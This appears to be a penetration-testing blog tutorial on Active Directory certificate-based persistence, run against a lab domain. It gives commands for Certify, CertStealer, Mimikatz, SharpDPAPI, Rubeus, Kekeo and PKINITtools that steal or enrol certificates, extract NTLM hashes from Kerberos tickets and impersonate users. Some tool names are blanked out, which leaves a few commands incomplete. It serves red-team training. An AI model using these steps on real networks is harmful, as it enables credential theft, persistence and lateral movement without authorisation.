It is not uncommon organizations to implement an internal certification authority in order to establish trust between entities (users, computers etc.) or utilize it for user authentication. Implementation of a certification authority requires installation of Active Directory Certificate Services (AD CS) which can be done in the domain controller or in a different server which will be integrated with the Active Directory (Enterprise CA).

As with many Microsoft components and features Active Directory Certificate Services is not secured in their default state. Will Schroeder and Lee Christensen released a paper called Certified Pre-Owned which contain details about how Active Directory Certificate Services can be abused for credential theft, machine persistence, domain escalation and domain persistence. Furthermore, attacks against AD CS are less likely to be detected since it is a domain that hasn’t been explored in depth compare to other techniques.

In networks that a Certification Authority is present red teams could use it to achieve long-term persistence on the system by obtaining a certificate either as the current user account or as a machine account. The certificate validity period is typically 1 year and it is not correlated to any password changes. Therefore this method can be used as a persistence since the NTLM hash of the user can be requested, retrieved and cracked. This technique give the flexibility to red teams to move away from traditional operations which require interaction with the “LSASS” process in order to dump password hashes. Retrieving a certificate can be achieved in two ways:

  1. Certificate Enrollment
  2. Certificate Extraction

Certificate Enrollment

Non-privileged users can request a certificate from the Enterprise Certificate Authority for any of the existing templates which are available for enrollment. Certify can query LDAP in order to list templates which allow domain users to enroll.

Certify.exe find /clientauth
Certify – Discovery of Certificates that allow Client Authentication
Certify – Enterprise CA Information

By default domain users have enrollment rights over the template “User” as it can be displayed in the output. Furthermore, certificates which are issued have a validity period of 1 year.

Certify – Domain Users Enrollment Rights

Since the Certificate Authority and the template has been identified executing the following will enroll the current user and a new certificate will be issued.

Certify.exe request /ca:ca.purple.lab\purple-CA /template:User
Certify – Certificate Enrollment User

The private key and the certificate will be displayed in .pem formatted block of text.

Certify – Certificate

Similarly privileged accounts (Administrator) could request certificates for the machine account by executing Certify with the “/machine” argument from an elevated command prompt. This could allow authentication to be performed as the machine account.

Certify.exe request /ca:ca.purple.lab\purple-CA /template:Machine /machine
Certify – Certificate Enrollment Machine

Certificate Extraction

In a corporate environment users or computers might have certificates issued to them. These could be extracted in order to avoid using certificate enrollment. CertStealer is a C# tool which can export certificates from in-memory beacons without touching disk. Executing the following command will list all the certificates which are installed locally.

CertStealer.exe --list
CertStealer – List all Certificates

Information related to the certificates installed will be displayed in the console. This will include the Issuer, the validity period and the thumbprint.

CertStealer – Certificate Details

Certificates which are stored for the current user can listed into the console as base64 by executing the following:

CertStealer.exe --name user --store My --list
CertStealer – Current User Certificates
CertStealer – Serialized Certificate

Certificates can be also exported in PFX format by specifying the thumbprint.

CertStealer.exe --export pfx <Certificate-Thumbprint>
CertStealer – Export Certificate as PFX

An alternative approach is to use the CryptoAPI which interacts with the certificate store in order to export a certificate. Benjamin Delpy has implemented a module in Mimikatz which patches CryptoAPI into the current process and allows certificates and their privates keys to exported locally on the current folder.

crypto::certificates /export
Mimikatz – Patch CAPI & Export Certificates
Mimikatz – Export Current User Certificate

Certificates for the machine account could be exported using the Data Protection API (DPAPI). Mimikatz has support for DPAPI but this has been also implemented in SharpDPAPI project. Executing the following command from an elevated session will escalate automatically to SYSTEM in order to retrieve the “DPAPI_SYSTEM” LSA secret. By using this information the DPAPI master keys will be recovered with the private key and the certificate to be exported in the console.

SharpDPAPI.exe certificates /machine
SharpDPAPI – Export Machine Certificate
SharpDPAPI – Export Machine Certificate

User Account Persistence

Certificates that have been exported in .pem format could be converted to .pfx in order to be compatible with Rubeus and installed directly into the certificate store. This is because certificates in .pfx format are similar to archives and contain all the necessary information to be deployed on the system.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Providerv1.0" -export -out cert.pfx
Convert Certificate to PFX format

Certificates that have been obtained as base64 format could be imported by using the following command from CertStealer (current user):

CertStealer.exe --import My user <base64-certificate>
CertStealer – Import Certificate in Current User
CertStealer – Import Certificate to Store

A Ticket Granting Ticket (TGT) can be requested with Rubeus from the Kerberos Key Distribution Center (KDC) for the enrolled user. Rubeus supports Public Key Cryptography for Initial Authentication (PKINIT) therefore the certificate in .pfx format that has been retrieved or obtained via enrollment can be used for kerberos authentication.

Rubeus.exe asktgt /user:pentestlab /certificate:C:\Users\pentestlab.PURPLE\cert.pfx /password:Password123
Rubeus – Request TGT for User Account
Rubeus – TGT for User Account

The TGT will be displayed as base64. Kekeo is a toolkit that can interact with Kerberos authentication mechanism and supports base64 input even though it is not enabled by default. To enable base64 input the following commands are required:

base64 /input:on
Kekeo – Enable Base64 Input

The ticket could be applied to the current logon session with Kekeo or with Rubeus.

tgt::ask /pfx:<base64> /user:pentestlab /domain:purple.lab /ptt
Kekeo – Submit User Account Certificate

Now that the ticket has been passed into the memory, the NTLM hash of the user “pentestlab” could be recovered. This is due to a feature which was developed by Microsoft to allow applications which are connecting to network services and don’t support Kerberos authentication to use NTLM as an authentication mechanism. According to Microsoft Kerberos PKINIT technical specification when PKCA is used the KDC will return the NTLM hash of the user in the privilege attribute certificate (PAC). Executing the following command from Kekeo will perform a decryption on the privilege attribute certificate and the NTLM has will be displayed:

tgt::pac /caname:purple-CA /subject:pentestlab /castore:current_user /domain:purple.lab
Kekeo – Decrypt PAC
Kekeo – User NTLM Hash

If the account is local admin the NTLM hash could be combined with other attacks such as pass the hash in order to move laterally to other systems (if the account has access). Alternatively, retrieving the hash of a user account could give the opportunity to crack it offline and therefore establishing persistence on the host. The NTLM hash could be retrieved multiple times even if the password has been changed by the user as long as the certificate is valid (1 year by default).

From non-domain joined systems Dirk-jan Mollema developed a set of tools called PKINITtools in Python which can be used to recover the NTLM hash. Initially the .kirbi file needs to be converted to credential cache file (.ccache) with the “” tool.

python3 pentestlab.kirbi pentestlab.ccache
Ticket Converter – kirbi to ccache

Similarly to Rubeus the TGT can be obtained using the “” by supplying the certificate, the password that it was used to protect the private key, the user which the certificate has been issued and the .ccache file which contains the credentials for the Kerberos authentication.

python3 purple.lab/pentestlab -cert-pfx cert.pfx -pfx-pass Password123 pentestlab.ccache
Request TGT

The AES-REP encryption key which has been retrieved previously can be used with the “” utility in order to recover the NTLM hash from the PAC.

python3 purple.lab/pentestlab -key e2cde9845e5d46715b6b968c80775b44ecbd2cd5eb6e2f38f6739e120acf1b53
Retrieve NTLM Hash

Machine Account Persistence

If local administrator rights have been obtained a certificate could be requested for a machine account instead of a user account. Therefore the issued certificate could be used to request a ticket granting ticket from Kerberos Distribution Center (KDC).

Rubeus.exe asktgt /user:HIVE$ /certificate:C:\Users\pentestlab.PURPLE\cert.pfx /password:Password123
Rubeus – Request TGT for Machine Account

Using Kekeo in a similar manner that it has been used with the user account, the ticket can be applied in the current session by executing the following:

tgt::ask /pfx:<base64> /user:HIVE$ /password:Password123 /domain:purple.lab /ptt
Kekeo – Submit Machine Account Certificate

Having a ticket for a machine account access can be established for any service (HTTP, CIFS etc.) as any user if the account is configured for constrained delegation.

Rubeus.exe s4u /user:HIVE$ /aes256:64e2da4f19b52a18760f0a0032f10d796eabec1156a63f56c69fa0d86064f656 /domain:purple.lab /msdsspn:<service> /tgs:<name>.kirbi /ptt
Rubeus – Impersonate User


Account Persistence – Certificates



  1. Great article! I want to try this out in my environment.
    Question though, I am assuming the C# files need to be compile into an executable? From what I can see, the Github repository doesn’t provide it nor explain what needs to be done to create an executable. I guess it’s assumed you know already.


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s